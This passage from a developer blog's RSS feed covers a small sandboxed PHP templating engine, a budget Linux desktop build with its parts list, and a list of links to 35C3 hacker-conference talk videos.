decided it would be much more fun to write my own. In
&lt;a href=&#34;https://github.com/mintyphp/core/blob/v3.2.24/src/Template.php&#34;&gt;165 lines&lt;/a&gt; I
wrote a sandboxed templating system that supports &amp;lsquo;if&amp;rsquo; and &amp;lsquo;for&amp;rsquo; and can be
extended with functions.&lt;/p&gt;
&lt;h3 id=&#34;considerations&#34;&gt;Considerations&lt;/h3&gt;
&lt;p&gt;The code does not use regular expressions, but it tokenizes and uses a syntax
tree (without any dependencies). This means that it supports nested &amp;lsquo;for&amp;rsquo; and
&amp;lsquo;if&amp;rsquo; constructs. The syntax looks a bit like Mustache and Twig, but is stricter
to optimize for rendering speed. It outputs rendering errors in the rendered
output, so that you can easily debug it as a user.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Instead of choosing <a href="https://github.com/twigphp/Twig">Twig</a>,
<a href="https://github.com/bobthecow/mustache.php">Mustache</a> or
<a href="https://github.com/smarty-php/smarty">Smarty</a> as PHP templating language I
decided it would be much more fun to write my own. In
<a href="https://github.com/mintyphp/core/blob/v3.2.24/src/Template.php">165 lines</a> I
wrote a sandboxed templating system that supports &lsquo;if&rsquo; and &lsquo;for&rsquo; and can be
extended with functions.</p>
<h3 id="considerations">Considerations</h3>
<p>The code does not use regular expressions, but it tokenizes and uses a syntax
tree (without any dependencies). This means that it supports nested &lsquo;for&rsquo; and
&lsquo;if&rsquo; constructs. The syntax looks a bit like Mustache and Twig, but is stricter
to optimize for rendering speed. It outputs rendering errors in the rendered
output, so that you can easily debug it as a user.</p>
<h3 id="basic-syntax">Basic syntax</h3>
<p>For my (limited) purpose I only needed the following API:</p>
<pre><code>render($template,$data,$functions);
</code></pre>
<p>Which allows something like this:</p>
<pre><code>render('hi {{name|cap}}', ['name'=&gt;'maurits'], ['cap'=&gt;'ucfirst']);
</code></pre>
<p>The output is:</p>
<pre><code>hi Maurits
</code></pre>
<p>Note that you can chain multiple functions using the &lsquo;|&rsquo; character.</p>
<h3 id="errors">Errors</h3>
<p>And errors are shown in the output:</p>
<pre><code>render('hi {{name|cap}}', ['name'=&gt;'maurits'], []);
</code></pre>
<p>Outputs:</p>
<pre><code>hi {{name|cap!!function 'cap' not found}}
</code></pre>
<p>The double exclamation mark is used to indicate the start of the error message.</p>
<h3 id="for-loops">For loops</h3>
<p>For (each) loops are also supported:</p>
<pre><code>render('test{{for:i:numbers}} {{i}}{{endfor}}',['numbers'=&gt;[1,2,3]]);
</code></pre>
<p>This outputs:</p>
<pre><code>test 1 2 3
</code></pre>
<p>Note that the variable you define is added to the data array during the loop.</p>
<h3 id="if-statement">If statement</h3>
<p>Conditional (if) blocks are also supported:</p>
<pre><code>$eq = function($a,$b){return $a==$b;};
render('{{if:n.m|eq(3)}}m is 3{{endif}}',['n'=&gt;['m'=&gt;3]],['eq'=&gt;$eq]);
</code></pre>
<p>For the above code the output is:</p>
<pre><code>m is 3
</code></pre>
<p>As you see the functions can be
<a href="https://secure.php.net/manual/en/functions.anonymous.php">anonymous</a> and nested
data is supported. Note that the first argument of a function is automatically
filled with the expression that is precedes the &lsquo;|&rsquo; (pipe) character. This is
why the &rsquo;eq&rsquo; function is defined to have two arguments (&lsquo;a&rsquo; and &lsquo;b&rsquo;) but only
takes one in the syntax.</p>
<h3 id="performance">Performance</h3>
<p>PHP is a fast and complete templating language and you should use it where you
can. Unfortunately it does not support secure user-defined templates. This code
does support sandboxed templating and it is easy to understand. Even if you
don&rsquo;t use the code (it is MIT licensed), the code may be educational to read.
You can find the code here:</p>
<p><a href="https://github.com/mintyphp/core/blob/master/src/Template.php">https://github.com/mintyphp/core/blob/v3.2.24/src/Template.php</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>Linux dream machine under 900 euro</title>
      <link>https://www.tqdev.com/2019-linux-dream-machine-under-900-euro/</link>
      <pubDate>Fri, 04 Jan 2019 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2019-linux-dream-machine-under-900-euro/</guid>
      <description>&lt;p&gt;I write this on my current PC: a passive cooled (Akasa Plato-X case) Intel NUC
i7 16gb RAM 512 GB NVMe in my living room. It hangs behind a 27&amp;rsquo; Philips WQHD
screen (VESA mounted) and it has a big Libratone speaker next to it. I use a
laser mouse and a mechanical keyboard to operate it. It runs the Xubuntu
operating system and it is not only completely silent&amp;hellip; it is also lightning
fast!&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>I write this on my current PC: a passive cooled (Akasa Plato-X case) Intel NUC
i7 16gb RAM 512 GB NVMe in my living room. It hangs behind a 27&rsquo; Philips WQHD
screen (VESA mounted) and it has a big Libratone speaker next to it. I use a
laser mouse and a mechanical keyboard to operate it. It runs the Xubuntu
operating system and it is not only completely silent&hellip; it is also lightning
fast!</p>
<p>NB: This article is based on my own experience and not sponsored in any way.</p>
<p>Update: Check out draft: false
<a href="https://tqdev.com/2019-linux-dream-machine-under-900-euro-v2">Linux dream machine under 900 euro (v2)</a>
as this is a more recent (and even better) setup under 900 euro.</p>
<h3 id="not-for-gaming">Not for gaming</h3>
<p>Note that I&rsquo;m a programmer, not a gamer. I don&rsquo;t run Windows (not even in a VM)
and I am very happy about that. This also means that I can use less powerful
hardware than most people can. I browse the Internet using Chromium and Firefox,
use VSCode, IntelliJ, Eclipse and listen some music using Audacious. Other than
that I use a lot of terminals. If I want to play a game then it is mostly
OpenTTD (or some programming challenge/puzzle).</p>
<h3 id="cheaper-not-slower">Cheaper, not slower</h3>
<p>For my home-office I have built a machine that is cheaper, but not slower, than
my living room NUC. Even building the same machine would have been cheaper, as
prices have dropped over the years, but what is the fun in that? I decided to
make a bigger machine (as I have plenty of space in my office) and allow it to
be actively cooled (but not too noisy). In exchange I wanted some opportunities
for upgrades in this new machine as the Intel NUC has limited expansion options.</p>
<h3 id="shopping-list">Shopping list</h3>
<p>This is the list of components that I have used:</p>
<pre><code> 17 EUR - HP Laser Mouse - Mouse
 50 EUR - Corsair CX450 - Power supply
 57 EUR - AMD Athlon 200GE - Processor
 60 EUR - Sharkoon PureWriter TKL - Keyboard 
 69 EUR - ASRock AB350M Pro4 - Motherboard
 75 EUR - Edifier R1100 - Speakers 
 85 EUR - Cooler Master Silencio 550 - Mid-tower case
 87 EUR - Samsung 860 EVO 500GB M.2 - Solid state drive
110 EUR - G.Skill Aegis 2x8GB DDR4 - Memory
289 EUR - Iiyama XB3270QS-B1 32&quot; WQHD IPS - Monitor
--------
899 EUR (including VAT)
</code></pre>
<p>NB: The above prices are based on the offering of Dutch web-shops for PC parts,
such as &ldquo;Azerty&rdquo; and &ldquo;Alternate&rdquo;, at the time of writing of this post.</p>
<h3 id="reasoning">Reasoning</h3>
<p>The laser <strong>mouse</strong> was chosen for it&rsquo;s ridiculous low price. The <strong>power
supply</strong> has limited capacity (450 Watt), but in this setup it will suffice. The
<strong>processor</strong> is really the cheapest I could find (a dual-core at 3.2 Ghz). Note
that the CPU also has a <strong>video card</strong> built-in and that it comes packaged with
a decent <strong>CPU fan</strong>. The <strong>keyboard</strong> is not only one of the cheapest back-lit
mechanical keyboards, it also one of the thinnest, which is really nice for your
wrist angle. The <strong>motherboard</strong> sports two M.2 slots (one for NVMe and one for
mSATA) and also supports 64 GB of RAM. Note that <strong>WiFi</strong> and <strong>Bluetooth</strong> are
missing (as I like it). The <strong>speakers</strong> sound and look good, are powerful (42W)
and have a rotary knob for the bass level (I don&rsquo;t like heavy bass). The
<strong>computer case</strong> is padded to be extra quiet. The <strong>SSD</strong> is big, fast and
cheap (it is a mSATA), but not ridiculous fast and expensive (such as a NVMe
drive). The <strong>memory</strong> was chosen for it&rsquo;s low price. The <strong>monitor</strong> has a WQHD
(2560 x 1440) IPS screen with great colors from all angles, while being large
(32 inch) and cheap.</p>
<h3 id="upgrades">Upgrades</h3>
<p>Potential upgrades are a AMD Ryzen 7 2700X octa-core 3.7 GHz processor (now 330
EUR) 64GB DDR4 memory (now 520 EUR) a Geforce/Radeon video card (around 300-500
EUR) and a Samsung 970 EVO 2TB NVMe SSD (now 510 EUR) and one or more Seagate 12
TB hard drives (now 430 EUR/piece). If you do these upgrades you probably also
want to have the Seasonic PRIME Ultra Titanium 750W power supply (now 190 EUR)
to feed this monster it&rsquo;s electricity. These upgrades could easily triple the
price of this system and you can easily do without them (for now). It is
expected that these upgrades are more affordable in a few years and that you can
apply them when needed.</p>
<h3 id="software">Software</h3>
<p>Be aware that you may need to run the latest Linux kernel to have a smooth
experience on this new hardware (Ubuntu 18.10 boots out of the box, 18.04 does
not). Also note that you should use a HDMI-to-HDMI cable to have support for the
2560 x 1440 WQHD resolution. The HDMI is also required for high resolution in
the (very user friendly) BIOS screens. My motherboard got delivered with the
5.10 version of the BIOS firmware, which worked fine for me.</p>
<h3 id="i-want-one">I want one!</h3>
<p>Great, with the shopping list you should be able to quickly buy all the parts.
Putting it all together is the kind of puzzle that is not only educational, it
is also a lot of fun. As a bonus you will love the computer even more, since
you&rsquo;ve built it all by yourself.</p>
<p>Enjoy!</p>
]]></content:encoded>
    </item>
    <item>
      <title>35th CCC hacker videos online</title>
      <link>https://www.tqdev.com/2018-35th-ccc-hacker-videos-online/</link>
      <pubDate>Mon, 31 Dec 2018 14:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2018-35th-ccc-hacker-videos-online/</guid>
      <description>&lt;p&gt;Every year the Chaos Computer Club (CCC) has a hacker conference called the
Chaos Communication Congress. It has grown out to be one the world&amp;rsquo;s largest
hacker conventions. This year was the 35th time the convention was held. There
were an an estimated 16,000 visitors at the convention in Leipzig. If you were
not there you can still watch the videos. The videos are posted on the
&lt;a href=&#34;https://media.ccc.de/c/35c3&#34;&gt;ccc.de website&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id=&#34;videos&#34;&gt;Videos&lt;/h3&gt;
&lt;p&gt;2018-12-27&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Every year the Chaos Computer Club (CCC) has a hacker conference called the
Chaos Communication Congress. It has grown out to be one the world&rsquo;s largest
hacker conventions. This year was the 35th time the convention was held. There
were an an estimated 16,000 visitors at the convention in Leipzig. If you were
not there you can still watch the videos. The videos are posted on the
<a href="https://media.ccc.de/c/35c3">ccc.de website</a>.</p>
<h3 id="videos">Videos</h3>
<p>2018-12-27</p>
<ul>
<li><a href="https://media.ccc.de/v/35c3-9563-wallet_fail">wallet.fail</a> [61:57]</li>
<li><a href="https://media.ccc.de/v/35c3-9985-opening_event">Opening Event</a> [26:24]</li>
<li><a href="https://media.ccc.de/v/35c3-9513-mind_the_trap_die_netzpolitik_der_afd_im_bundestag">Mind the Trap: Die Netzpolitik der AfD im Bundestag</a>
[41:09]</li>
<li><a href="https://media.ccc.de/v/35c3-9992-all_your_gesundheitsakten_are_belong_to_us">All Your Gesundheitsakten Are Belong To Us</a>
[61:40]</li>
<li><a href="https://media.ccc.de/v/35c3-9462-what_the_fax">What The Fax?!</a> [46:54]</li>
<li><a href="https://media.ccc.de/v/35c3-9545-venenerkennung_hacken">Venenerkennung hacken</a>
[39:57]</li>
<li><a href="https://media.ccc.de/v/35c3-9614-inside_the_amd_microcode_rom">Inside the AMD Microcode ROM</a>
[37:20]</li>
<li><a href="https://media.ccc.de/v/35c3-10011-hackerethik_-_eine_einfuhrung">Hackerethik - eine Einführung</a>
[40:57]</li>
<li><a href="https://media.ccc.de/v/35c3-9386-introduction_to_deep_learning">Introduction to Deep Learning</a>
[41:06]</li>
<li><a href="https://media.ccc.de/v/35c3-10015-polizeigesetze">Polizeigesetze</a> [58:56]</li>
<li><a href="https://media.ccc.de/v/35c3-10021-the_precariat_a_disruptive_class_for_disruptive_times">The Precariat: A Disruptive Class for Disruptive Times.</a>
[57:58]</li>
<li><a href="https://media.ccc.de/v/35c3-9923-space_ops_101">Space Ops 101</a> [62:15]</li>
<li><a href="https://media.ccc.de/v/35c3-9375-silivaccine_north_korea_s_weapon_of_mass_detection">SiliVaccine: North Korea&rsquo;s Weapon of Mass Detection</a>
[52:44]</li>
<li><a href="https://media.ccc.de/v/35c3-9410-libresilicon">LibreSilicon</a> [60:12]</li>
<li><a href="https://media.ccc.de/v/35c3-9358-chaos_im_fernsehrat">Chaos im Fernsehrat</a>
[62:42]</li>
<li><a href="https://media.ccc.de/v/35c3-9607-the_rocky_road_to_tls_1_3_and_better_internet_encryption">The Rocky Road to TLS 1.3 and better Internet Encryption</a>
[60:37]</li>
<li><a href="https://media.ccc.de/v/35c3-9904-the_social_credit_system">&ldquo;The&rdquo; Social Credit System</a>
[61:16]</li>
<li><a href="https://media.ccc.de/v/35c3-9809-datenschutz_fur_neulandburger">Datenschutz für Neulandbürger</a>
[46:15]</li>
<li><a href="https://media.ccc.de/v/35c3-9720-frontex_der_europaische_grenzgeheimdienst">Frontex: Der europäische Grenzgeheimdienst</a>
[41:37]</li>
<li><a href="https://media.ccc.de/v/35c3-9766-das_ist_mir_nicht_erinnerlich_der_nsu-komplex_heute">&ldquo;Das ist mir nicht erinnerlich.&rdquo; − Der NSU-Komplex heute</a>
[63:17]</li>
<li><a href="https://media.ccc.de/v/35c3-10005-how_does_the_internet_work">How does the Internet work?</a>
[50:08]</li>
<li><a href="https://media.ccc.de/v/35c3-9529-artistic_pcb_design_and_fabrication">Artistic PCB Design and Fabrication</a>
[36:37]</li>
<li><a href="https://media.ccc.de/v/35c3-9675-transmission_control_protocol">Transmission Control Protocol</a>
[39:12]</li>
<li><a href="https://media.ccc.de/v/35c3-9599-locked_up_science">Locked up science</a>
[41:51]</li>
<li><a href="https://media.ccc.de/v/35c3-9561-first_sednit_uefi_rootkit_unveiled">First Sednit UEFI Rootkit Unveiled</a>
[40:52]</li>
<li><a href="https://media.ccc.de/v/35c3-9491-hunting_the_sigfox_wireless_iot_network_security">Hunting the Sigfox: Wireless IoT Network Security</a>
[38:02]</li>
<li><a href="https://media.ccc.de/v/35c3-10027-cyber-_stalking_wenn_grenzen_verschwimmen">(Cyber-)Stalking: Wenn Grenzen verschwimmen</a>
[39:38]</li>
<li><a href="https://media.ccc.de/v/35c3-9635-scuttlebutt">Scuttlebutt</a> [34:22]</li>
<li><a href="https://media.ccc.de/v/35c3-9792-quantum_mechanics">Quantum Mechanics</a>
[57:29]</li>
<li><a href="https://media.ccc.de/v/35c3-9778-open_source_firmware">Open Source Firmware</a>
[49:38]</li>
<li><a href="https://media.ccc.de/v/35c3-9383-compromising_online_accounts_by_cracking_voicemail_systems">Compromising online accounts by cracking voicemail systems</a>
[42:01]</li>
<li><a href="https://media.ccc.de/v/35c3-9597-modchips_of_the_state">Modchips of the State</a>
[36:51]</li>
<li><a href="https://media.ccc.de/v/35c3-9838-genom-editierung_mit_crispr_cas">Genom-Editierung mit CRISPR/Cas</a>
[44:08]</li>
<li><a href="https://media.ccc.de/v/35c3-10023-stalking_spy_apps_doxing_digitale_gewalt_gegen_frauen">Stalking, Spy Apps, Doxing: Digitale Gewalt gegen Frauen</a>
[44:18]</li>
<li><a href="https://media.ccc.de/v/35c3-9647-taming_the_chaos_can_we_build_systems_that_actually_work">Taming the Chaos: Can we build systems that actually work?</a>
[58:52]</li>
<li><a href="https://media.ccc.de/v/35c3-10016-g10_bnd-gesetz_und_der_effektive_schutz_vor_grundrechten">G10, BND-Gesetz und der effektive Schutz vor Grundrechten</a>
[58:41]</li>
<li><a href="https://media.ccc.de/v/35c3-9917-election_cybersecurity_progress_report">Election Cybersecurity Progress Report</a>
[59:38]</li>
<li><a href="https://media.ccc.de/v/35c3-9913-going_deep_underground_to_watch_the_stars">Going Deep Underground to Watch the Stars</a>
[47:02]</li>
<li><a href="https://media.ccc.de/v/35c3-9951-it_always_feels_like_the_five_eyes_are_watching_you">It Always Feels Like the Five Eyes Are Watching You</a>
[64:46]</li>
<li><a href="https://media.ccc.de/v/35c3-9909-updates_von_der_europaischen_aussengrenze">Updates von der europäischen Außengrenze</a>
[41:15]</li>
<li><a href="https://media.ccc.de/v/35c3-9508-digital_airwaves">Digital Airwaves</a> [46:08]</li>
<li><a href="https://media.ccc.de/v/35c3-9864-a_routing_interregnum_internet_infrastructure_transition_in_crimea_after_russian_annexation">A Routing Interregnum: Internet infrastructure transition in Crimea after Russian…</a>
[44:37]</li>
<li><a href="https://media.ccc.de/v/35c3-9446-sd-wan_a_new_hop">SD-WAN a New Hop</a> [49:03]</li>
<li><a href="https://media.ccc.de/v/35c3-9734-information_biology_-_investigating_the_information_flow_in_living_systems">Information Biology - Investigating the information flow in living systems</a>
[37:25]</li>
<li><a href="https://media.ccc.de/v/35c3-9456-hacking_ecology">Hacking Ecology</a> [60:37]</li>
<li><a href="https://media.ccc.de/v/35c3-9877-censored_planet_a_global_censorship_observatory">Censored Planet: a Global Censorship Observatory</a>
[56:03]</li>
<li><a href="https://media.ccc.de/v/35c3-9372-citzens_or_subjects_the_battle_to_control_our_bodies_speech_and_communications">Citzens or subjects? The battle to control our bodies, speech and communications</a>
[42:59]</li>
<li><a href="https://media.ccc.de/v/35c3-9654-a_la_recherche_de_l_information_perdue">A la recherche de l&rsquo;information perdue</a>
[54:54]</li>
<li><a href="https://media.ccc.de/v/35c3-10009-afroroutes_africa_elsewhere">Afroroutes: Africa Elsewhere</a>
[38:01]</li>
<li><a href="https://media.ccc.de/v/35c3-10024-tactical_embodiment">Tactical Embodiment</a>
[54:56]</li>
</ul>
<p>2018-12-28</p>
<ul>
<li><a href="https://media.ccc.de/v/35c3-9506-freude_ist_nur_ein_mangel_an_information">Freude ist nur ein Mangel an Information</a>
[67:17]</li>
<li><a href="https://media.ccc.de/v/35c3-10018-verhalten_bei_hausdurchsuchungen">Verhalten bei Hausdurchsuchungen</a>
[61:47]</li>
<li><a href="https://media.ccc.de/v/35c3-9975-jahresruckblick_des_ccc_2018">Jahresrückblick des CCC 2018</a>
[135:01]</li>
<li><a href="https://media.ccc.de/v/35c3-10030-the_ghost_in_the_machine">The Ghost in the Machine</a>
[62:12]</li>
<li><a href="https://media.ccc.de/v/35c3-9723-smart_home_-_smart_hack">Smart Home - Smart Hack</a>
[51:21]</li>
<li><a href="https://media.ccc.de/v/35c3-9463-attacking_end-to-end_email_encryption">Attacking end-to-end email encryption</a>
[60:37]</li>
<li><a href="https://media.ccc.de/v/35c3-9617-a_deep_dive_into_the_world_of_dos_viruses">A deep dive into the world of DOS viruses</a>
[38:12]</li>
<li><a href="https://media.ccc.de/v/35c3-9852-exploring_fraud_in_telephony_networks">Exploring fraud in telephony networks</a>
[62:04]</li>
<li><a href="https://media.ccc.de/v/35c3-9926-the_year_in_post-quantum_crypto">The year in post-quantum crypto</a>
[70:00]</li>
<li><a href="https://media.ccc.de/v/35c3-9744-inside_the_fake_science_factories">Inside the Fake Science Factories</a>
[61:35]</li>
<li><a href="https://media.ccc.de/v/35c3-9660-modern_windows_userspace_exploitation">Modern Windows Userspace Exploitation</a>
[50:57]</li>
<li><a href="https://media.ccc.de/v/35c3-10010-die_eu_und_ihre_institutionen">Die EU und ihre Institutionen</a>
[60:37]</li>
<li><a href="https://media.ccc.de/v/35c3-9618-jailbreaking_ios">Jailbreaking iOS</a> [47:57]</li>
<li><a href="https://media.ccc.de/v/35c3-9800-how_to_teach_programming_to_your_loved_ones">How to teach programming to your loved ones</a>
[59:54]</li>
<li><a href="https://media.ccc.de/v/35c3-9812-a_farewell_to_soul-crushing_code">A farewell to soul-crushing code</a>
[60:56]</li>
<li><a href="https://media.ccc.de/v/35c3-9658-computer_die_uber_asyl_mit_entscheiden">Computer, die über Asyl (mit)entscheiden</a>
[59:06]</li>
<li><a href="https://media.ccc.de/v/35c3-9733-was_schutzt_eigentlich_der_datenschutz">Was schützt eigentlich der Datenschutz?</a>
[62:15]</li>
<li><a href="https://media.ccc.de/v/35c3-9979-the_layman_s_guide_to_zero-day_engineering">The Layman&rsquo;s Guide to Zero-Day Engineering</a>
[57:03]</li>
<li><a href="https://media.ccc.de/v/35c3-9566-lightning_talks_day_2">Lightning Talks Day 2</a>
[126:48]</li>
<li><a href="https://media.ccc.de/v/35c3-9492-wallet_security">Wallet Security</a> [35:33]</li>
<li><a href="https://media.ccc.de/v/35c3-9590-schweiz_netzpolitik_zwischen_bodensee_und_matterhorn">Schweiz: Netzpolitik zwischen Bodensee und Matterhorn</a>
[37:54]</li>
<li><a href="https://media.ccc.de/v/35c3-9631-symbiflow_-_finally_the_gcc_of_fpgas">SymbiFlow - Finally the GCC of FPGAs!</a>
[62:03]</li>
<li><a href="https://media.ccc.de/v/35c3-9893-a_christmas_carol_-_the_spectres_of_the_past_present_and_future">A Christmas Carol - The Spectres of the Past, Present, and Future</a>
[61:28]</li>
<li><a href="https://media.ccc.de/v/35c3-9595-wind_off-grid_services_for_everyday_people">Wind: Off-Grid Services for Everyday People</a>
[60:52]</li>
<li><a href="https://media.ccc.de/v/35c3-9775-how_medicine_discovered_sex">How medicine discovered sex</a>
[54:00]</li>
<li><a href="https://media.ccc.de/v/35c3-9629-snakes_and_rabbits_-_how_ccc_shaped_an_open_hardware_success">Snakes and Rabbits - How CCC shaped an open hardware success</a>
[59:10]</li>
<li><a href="https://media.ccc.de/v/35c3-9762-the_urban_organism">The Urban Organism</a>
[29:48]</li>
<li><a href="https://media.ccc.de/v/35c3-9703-supermuc-ng">SuperMUC-NG</a> [62:16]</li>
<li><a href="https://media.ccc.de/v/35c3-9915-projekt_hannah">Projekt Hannah</a> [61:41]</li>
<li><a href="https://media.ccc.de/v/35c3-9998-the_good_the_strange_and_the_ugly_in_2018_art_tech">The good, the strange and the ugly in 2018 art &amp;tech</a>
[55:40]</li>
<li><a href="https://media.ccc.de/v/35c3-10028-feminist_perspectives">Feminist Perspectives</a>
[77:04]</li>
<li><a href="https://media.ccc.de/v/35c3-9965-what_is_good_technology">What is Good Technology?</a>
[55:18]</li>
<li><a href="https://media.ccc.de/v/35c3-9612-the_nextpnr_foss_fpga_place-and-route_tool">The nextpnr FOSS FPGA place-and-route tool</a>
[46:51]</li>
<li><a href="https://media.ccc.de/v/35c3-9791-the_surveillance_state_limited_by_acts_of_courage_and_conscience">The Surveillance State limited by acts of courage and conscience</a>
[59:04]</li>
<li><a href="https://media.ccc.de/v/35c3-9999-the_enemy">The Enemy</a> [61:02]</li>
<li><a href="https://media.ccc.de/v/35c3-10039-theater_und_quantenzeitalter">Theater und Quantenzeitalter</a>
[57:44]</li>
<li><a href="https://media.ccc.de/v/35c3-9419-explaining_online_us_political_advertising">Explaining Online US Political Advertising</a>
[61:21]</li>
<li><a href="https://media.ccc.de/v/35c3-1084-session_not_quite_free_and_open_source">Not quite Free and Open Source</a>
[43:26]</li>
<li><a href="https://media.ccc.de/v/35c3-9451-simulating_universes">Simulating Universes</a>
[60:36]</li>
<li><a href="https://media.ccc.de/v/35c3-9797-analyze_the_facebook_algorithm_and_reclaim_data_sovereignty">Analyze the Facebook algorithm and reclaim data sovereignty</a>
[63:48]</li>
<li><a href="https://media.ccc.de/v/35c3-9939-disnovation_org">DISNOVATION.ORG</a> [39:00]</li>
<li><a href="https://media.ccc.de/v/35c3-10026-c2x_the_television_will_not_be_revolutionized">C2X: The television will not be revolutionized.</a>
[49:08]</li>
<li><a href="https://media.ccc.de/v/35c3-9526-never_forgetti">Never Forgetti</a> [40:35]</li>
<li><a href="https://media.ccc.de/v/35c3-10022-reality_check_basel_lagos_in_virtual_reality">Reality Check! Basel/Lagos?? In virtual reality?</a>
[56:40]</li>
</ul>
<p>2018-12-29</p>
<ul>
<li><a href="https://media.ccc.de/v/35c3-9941-how_facebook_tracks_you_on_android">How Facebook tracks you on Android</a>
[43:36]</li>
<li><a href="https://media.ccc.de/v/35c3-9507-best_of_informationsfreiheit">Best of Informationsfreiheit</a>
[60:49]</li>
<li><a href="https://media.ccc.de/v/35c3-9716-du_kannst_alles_hacken_du_darfst_dich_nur_nicht_erwischen_lassen">Du kannst alles hacken – du darfst dich nur nicht erwischen lassen.</a>
[57:05]</li>
<li><a href="https://media.ccc.de/v/35c3-9670-safe_and_secure_drivers_in_high-level_languages">Safe and Secure Drivers in High-Level Languages</a>
[61:56]</li>
<li><a href="https://media.ccc.de/v/35c3-9407-die_verborgene_seite_des_mobilfunks">Die verborgene Seite des Mobilfunks</a>
[60:44]</li>
<li><a href="https://media.ccc.de/v/35c3-9858-archaologische_studien_im_datenmull">Archäologische Studien im Datenmüll</a>
[41:31]</li>
<li><a href="https://media.ccc.de/v/35c3-9686-die_dreckige_empirie">Die dreckige Empirie</a>
[61:07]</li>
<li><a href="https://media.ccc.de/v/35c3-9681-butterbrotdosen-smartphone">Butterbrotdosen-Smartphone</a>
[37:54]</li>
<li><a href="https://media.ccc.de/v/35c3-9579-attacking_chrome_ipc">Attacking Chrome IPC</a>
[54:12]</li>
<li><a href="https://media.ccc.de/v/35c3-9523-internet_of_dongs">Internet of Dongs</a>
[32:40]</li>
<li><a href="https://media.ccc.de/v/35c3-9972-funkzellenabfrage_die_alltagliche_rasterfahndung_unserer_handydaten">Funkzellenabfrage: Die alltägliche Rasterfahndung unserer Handydaten</a>
[58:48]</li>
<li><a href="https://media.ccc.de/v/35c3-9364-viva_la_vita_vida">Viva la Vita Vida</a>
[56:36]</li>
<li><a href="https://media.ccc.de/v/35c3-9653-russia_vs_telegram_technical_notes_on_the_battle">Russia vs. Telegram: technical notes on the battle</a>
[40:52]</li>
<li><a href="https://media.ccc.de/v/35c3-9783-the_mars_rover_on-board_computer">The Mars Rover On-board Computer</a>
[43:18]</li>
<li><a href="https://media.ccc.de/v/35c3-9667-desinformation_und_fake_news_-_bekampfung_und_verifizierung_leicht_gemacht">Desinformation und Fake News - Bekämpfung und Verifizierung leicht gemacht</a>
[42:17]</li>
<li><a href="https://media.ccc.de/v/35c3-9648-micropython_python_for_microcontrollers">MicroPython – Python for Microcontrollers</a>
[41:16]</li>
<li><a href="https://media.ccc.de/v/35c3-9657-from_zero_to_zero_day">From Zero to Zero Day</a>
[48:28]</li>
<li><a href="https://media.ccc.de/v/35c3-9851-conquering_large_numbers_at_the_lhc">Conquering Large Numbers at the LHC</a>
[41:44]</li>
<li><a href="https://media.ccc.de/v/35c3-9598-a_webpage_in_three_acts">A WebPage in Three Acts</a>
[41:24]</li>
<li><a href="https://media.ccc.de/v/35c3-9761-truly_cardless_jackpotting_an_atm_using_auxiliary_devices">Truly cardless: Jackpotting an ATM using auxiliary devices.</a>
[35:05]</li>
<li><a href="https://media.ccc.de/v/35c3-9400-matrix_the_current_status_and_year_to_date">Matrix, the current status and year to date</a>
[39:29]</li>
<li><a href="https://media.ccc.de/v/35c3-9664-kosmische_teilchenbeschleuniger_und_ihre_spuren_in_der_antarktis">Kosmische Teilchenbeschleuniger und ihre Spuren in der Antarktis</a>
[49:56]</li>
<li><a href="https://media.ccc.de/v/35c3-9671-self-encrypting_deception">Self-encrypting deception</a>
[58:42]</li>
<li><a href="https://media.ccc.de/v/35c3-9943-afdwegbassen_protest_club-_kultur_und_antifaschistischer_widerstand">#afdwegbassen: Protest, (Club-)Kultur und antifaschistischer Widerstand</a>
[68:31]</li>
<li><a href="https://media.ccc.de/v/35c3-9788-memsad">Memsad</a> [61:38]</li>
<li><a href="https://media.ccc.de/v/35c3-9680-osterreich_uberwachungsstaat_oder_doch_nur_digitalisierung_fur_anfanger">Österreich: Überwachungsstaat oder doch nur Digitalisierung für Anfänger?</a>
[41:47]</li>
<li><a href="https://media.ccc.de/v/35c3-9674-domain_name_system">Domain Name System</a>
[42:40]</li>
<li><a href="https://media.ccc.de/v/35c3-9804-die_hauser_denen_die_darin_wohnen">Die Häuser denen, die darin wohnen!</a>
[41:55]</li>
<li><a href="https://media.ccc.de/v/35c3-9898-mehr_schlecht_als_recht_grauzone_sicherheitsforschung">Mehr schlecht als Recht: Grauzone Sicherheitsforschung</a>
[42:15]</li>
<li><a href="https://media.ccc.de/v/35c3-9517-provable_security">Provable Security</a>
[59:05]</li>
<li><a href="https://media.ccc.de/v/35c3-9758-hacking_the_human_microbiome">Hacking the Human Microbiome</a>
[40:31]</li>
<li><a href="https://media.ccc.de/v/35c3-9371-repair-cafes">Repair-Cafés</a> [43:03]</li>
<li><a href="https://media.ccc.de/v/35c3-10019-internet_the_business_side">Internet, the Business Side</a>
[62:09]</li>
<li><a href="https://media.ccc.de/v/35c3-9346-in_soviet_russia_smart_card_hacks_you">In Soviet Russia Smart Card Hacks You</a>
[38:15]</li>
<li><a href="https://media.ccc.de/v/35c3-9616-circumventing_video_identification_using_augmented_reality">Circumventing video identification using augmented reality</a>
[30:50]</li>
<li><a href="https://media.ccc.de/v/35c3-9882-the_foodsaving_grassroots_movement">The foodsaving grassroots movement</a>
[37:09]</li>
<li><a href="https://media.ccc.de/v/35c3-9573-a_blockchain_picture_book">A Blockchain Picture Book</a>
[36:56]</li>
<li><a href="https://media.ccc.de/v/35c3-9973-freedom_needs_fighters">Freedom needs fighters!</a>
[60:33]</li>
<li><a href="https://media.ccc.de/v/35c3-9596-no_evidence_of_communication_and_morality_in_protocols_off-the-record_protocol_version_4">No evidence of communication and morality in protocols: Off-the-Record protocol version 4</a>
[44:26]</li>
<li><a href="https://media.ccc.de/v/35c3-9603-sneaking_in_network_security">Sneaking In Network Security</a>
[60:52]</li>
<li><a href="https://media.ccc.de/v/35c3-9483-web-based_cryptojacking_in_the_wild">Web-based Cryptojacking in the Wild</a>
[39:25]</li>
<li><a href="https://media.ccc.de/v/35c3-9873-all_creatures_welcome">All Creatures Welcome</a>
[42:47]</li>
<li><a href="https://media.ccc.de/v/35c3-9385-modeling_and_simulation_of_physical_systems_for_hobbyists">Modeling and Simulation of Physical Systems for Hobbyists</a>
[38:16]</li>
<li><a href="https://media.ccc.de/v/35c3-9695-planes_and_ships_and_saving_lives">Planes and Ships and Saving Lives</a>
[56:23]</li>
